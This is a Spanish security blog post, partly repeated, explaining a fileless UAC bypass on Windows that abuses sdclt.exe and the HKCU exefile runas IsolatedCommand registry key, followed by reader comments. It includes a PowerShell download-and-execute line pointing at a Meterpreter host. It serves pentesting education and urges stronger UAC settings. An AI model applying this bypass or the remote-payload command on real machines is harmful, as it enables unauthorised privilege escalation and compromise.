Hace unos meses Enigma0x3 publicaba un Bypass UAC distinto a los conocidos hasta el momento, se trataba de un bypass UAC Fileless, es decir, sin necesidad de subir una DLL o un binario al equipo para explotar o aprovecharse de la debilidad. En este caso, se manipulaban unos hives del registro y se lograba obtener ejecución de código en un contexto de integridad alto. Incluso, en su día, nos adelantamos siendo los primeros en migrar a Metasploit el código del bypass UAC Fileless de Enigma0x3.
La batalla sigue su curso y siguen apareciendo bypasses de UAC, tal y como podemos ver casi semanalmente en UACMe. Incluso, nosotros tenemos nuestra versión del bypass de UAC con el DLL Hijacking con Wusa y aprovechándonos de CompMgmtLauncher.exe. Lo importante es ver cómo muchas técnicas se repiten o el proceso para realizar búsquedas de debilidades en esta feature de Microsoft es muy parecida en muchos casos y entender las bases de todo esto.
Figura 2: Vídeo con PoC de UAC Bypass usando CompMgmtLauncher en Windows 7/8/8.1
Hace un par de semanas os contaba cómo hacer un bypass de UAC aprovechándonos de los AppPaths. Este bypass también fue descubierto por Enigma0x3. Hoy hablaremos de nuevo de este bypass y como conseguir que, gracias a ello, podamos obtener una nueva versión de bypass UAC Fileless.
Manos a la obra: En busca del Bypass UAC
Ya vimos que los binarios firmados por Microsoft que son auto-elevados pueden traer debilidades debido a la política de UAC, por ello se recomienda cambiarla a “Notificar siempre”. En el bypass de los AppPaths, el binario encontrado que proporcionaba el éxito era el binario sdclt.exe.
Cuando se analizó los argumentos con los que se ejecuta sdclt.exe se pudo observar que existen varios y que alguno podría ser interesante. Enigma0x3 se dio cuenta de que cuando se invoca sdclt.exe se comprueba si el argumento coincide con “/kickoffelev”, si esto es así se establece la ruta completa para sdclt.exe y se agrega “/kickoffjob” como parámetro y se invoca a SxShellExecuteWithElevate. Esto hace que se inicie “%systemroot%\System32\sdclt.exe /kickoffjob“ con el verbo “runas”. En otras palabras, es una forma pragmática de ejecutar la opción “RunAsAdministrator” cuando se hace clic con el botón secundario.
Si echamos un ojo a la ejecución de sdclt.exe /Kickoffelev con nuestro procmon podremos observar que en la rama HKCU del registro de Windows nos encontramos “Shell\[verbo]\command” dónde se podrá escribir cualquier cosa. En el caso del [verbo], será “runas” lo que nos encontraremos. En esta clave que no se encuentra podremos poner una llamada a un binario con parámetros, lo cual es muy interesante para lograr el bypass de UAC y ejecutar nuestro código.
Cuando se añade la clave por defecto en la ruta del registro HKCU\ Softwate\Classes\exefile\shell\runas\command no se obtiene nada. Volviendo a ejecutar Procmon con esa ruta creada vemos que nos aparece una nueva clave no encontrada denominada IsolatedCommand. Ahora sí, en el momento que creemos esa clave y le demos un valor podremos ejecutar código en un contexto de integridad alta.
Si lanzamos el binario sdclt.exe /kickoffevel aparecerá una cmd.exe, tal y como se puede ver en la siguiente imagen. Se puede ver como se crea un fichero en c:\ y luego se borra, por lo que se está ejecutando el cmd.exe en un proceso de integridad alta o con privilegio.
Si modificamos el valor de la entrada por la ejecución de una Powershell que ejecute la instrucción:
Y como lo mejor es verlo funcionando, en este vídeo de menos de dos minutos y medio, os dejo una demostración paso a paso de lo que os he explicado en el artículo.
Como se puede ver, es una nueva forma, muy similar, de realizar Fileless en un bypass de UAC. Microsoft poco a poco va parcheando este tipo de situaciones, aunque no lo consideren vulnerabilidades, y tú, por si acaso, deberías subir el nivel de seguridad de UAC. En resumen, una nueva forma para utilizar en una auditoría interna de sistemas.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths
Figura 1: Fileless II. Un nuevo (sí, uno más otra vez) Bypass UAC para Windows |
La batalla sigue su curso y siguen apareciendo bypasses de UAC, tal y como podemos ver casi semanalmente en UACMe. Incluso, nosotros tenemos nuestra versión del bypass de UAC con el DLL Hijacking con Wusa y aprovechándonos de CompMgmtLauncher.exe. Lo importante es ver cómo muchas técnicas se repiten o el proceso para realizar búsquedas de debilidades en esta feature de Microsoft es muy parecida en muchos casos y entender las bases de todo esto.
Figura 2: Vídeo con PoC de UAC Bypass usando CompMgmtLauncher en Windows 7/8/8.1
Hace un par de semanas os contaba cómo hacer un bypass de UAC aprovechándonos de los AppPaths. Este bypass también fue descubierto por Enigma0x3. Hoy hablaremos de nuevo de este bypass y como conseguir que, gracias a ello, podamos obtener una nueva versión de bypass UAC Fileless.
Manos a la obra: En busca del Bypass UAC
Ya vimos que los binarios firmados por Microsoft que son auto-elevados pueden traer debilidades debido a la política de UAC, por ello se recomienda cambiarla a “Notificar siempre”. En el bypass de los AppPaths, el binario encontrado que proporcionaba el éxito era el binario sdclt.exe.
Figura 3: Configuración segura en Modo Windows "Vista" |
Cuando se analizó los argumentos con los que se ejecuta sdclt.exe se pudo observar que existen varios y que alguno podría ser interesante. Enigma0x3 se dio cuenta de que cuando se invoca sdclt.exe se comprueba si el argumento coincide con “/kickoffelev”, si esto es así se establece la ruta completa para sdclt.exe y se agrega “/kickoffjob” como parámetro y se invoca a SxShellExecuteWithElevate. Esto hace que se inicie “%systemroot%\System32\sdclt.exe /kickoffjob“ con el verbo “runas”. En otras palabras, es una forma pragmática de ejecutar la opción “RunAsAdministrator” cuando se hace clic con el botón secundario.
Figura 4: invocación de ejecución |
Si echamos un ojo a la ejecución de sdclt.exe /Kickoffelev con nuestro procmon podremos observar que en la rama HKCU del registro de Windows nos encontramos “Shell\[verbo]\command” dónde se podrá escribir cualquier cosa. En el caso del [verbo], será “runas” lo que nos encontraremos. En esta clave que no se encuentra podremos poner una llamada a un binario con parámetros, lo cual es muy interesante para lograr el bypass de UAC y ejecutar nuestro código.
Figura 5: Clave NOT FOUND |
Cuando se añade la clave por defecto en la ruta del registro HKCU\ Softwate\Classes\exefile\shell\runas\command no se obtiene nada. Volviendo a ejecutar Procmon con esa ruta creada vemos que nos aparece una nueva clave no encontrada denominada IsolatedCommand. Ahora sí, en el momento que creemos esa clave y le demos un valor podremos ejecutar código en un contexto de integridad alta.
Figura 6: Clave del Registro con dirección de shell |
Si lanzamos el binario sdclt.exe /kickoffevel aparecerá una cmd.exe, tal y como se puede ver en la siguiente imagen. Se puede ver como se crea un fichero en c:\ y luego se borra, por lo que se está ejecutando el cmd.exe en un proceso de integridad alta o con privilegio.
Figura 7: Shell ejecutada |
Si modificamos el valor de la entrada por la ejecución de una Powershell que ejecute la instrucción:
IEX (new-object net.webclient).downloadstring(‘[ruta http de Meterpreter]’)...podríamos encontrar la posibilidad de ejecutar nuestro código de forma remota en un contexto de integridad alto y sin necesidad de subir un binario o una DLL.
Figura 8: Ruta de ejecución PowerShell |
Y como lo mejor es verlo funcionando, en este vídeo de menos de dos minutos y medio, os dejo una demostración paso a paso de lo que os he explicado en el artículo.
Figura 9: PoC de Fileless 2 para hacer Bypass de UAC en Windows
Como se puede ver, es una nueva forma, muy similar, de realizar Fileless en un bypass de UAC. Microsoft poco a poco va parcheando este tipo de situaciones, aunque no lo consideren vulnerabilidades, y tú, por si acaso, deberías subir el nivel de seguridad de UAC. En resumen, una nueva forma para utilizar en una auditoría interna de sistemas.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths
Saludos alonso.
ResponderEliminarHe querido hacer la prueba con un usuario estandar de windows pero me ha salido la ventana para introducir la contraseña de admin al ejecutar el comando para las copias de seguridad no se si acaso este pasando algo por algo. Estoy basandome en el ultimo video.
Buen articulo.
Este comentario ha sido eliminado por el autor.
ResponderEliminar@JoséDavid,
ResponderEliminarPuede ser que tu política de UAC no esté puesta por defecto, es decir, el UAC siempre pida consentimiento o que directamente estés utilizando un usuario que no pertenezca al grupo administradores (esto es importante, ya que una de las condiciones del bypass UAC es justo esa, la de que el usuario pertenezca al grupo administradores). Te dejo este artículo dónde se ven las condiciones: http://www.elladodelmal.com/2016/08/como-ownear-windows-7-y-windows-10-con.html (hay más de UAC en el blog dónde se detalla esto ;)).
Un saludo y gracias!
Gracias pablo, es eso, que el usuario que cree es nuevo y es usuario estandar. Queria ver si el escalamiento se podia hacer con un usuario cualquiera. En ese orden de ideas este bypass es usado mas que todo para no dar aviso al usuario sobre acciones sospechosas no?? Bueno quedo ahora con esa duda. Apenas soy novato en esto, disculpa si quizas pregunto cosas muy obvias.
ResponderEliminarSaludos!!
@JoséDavid ese bypass lo hacen los inútiles de Microsoft para no andar molestando tanto a los usuarios administradores de Windows con ello les dejan las cosas mascadas pero provocan ponérselo fácil a los hackers y sus virus, malwares y demás morralla infecciosa que se aprovechan de estos bypass
ResponderEliminar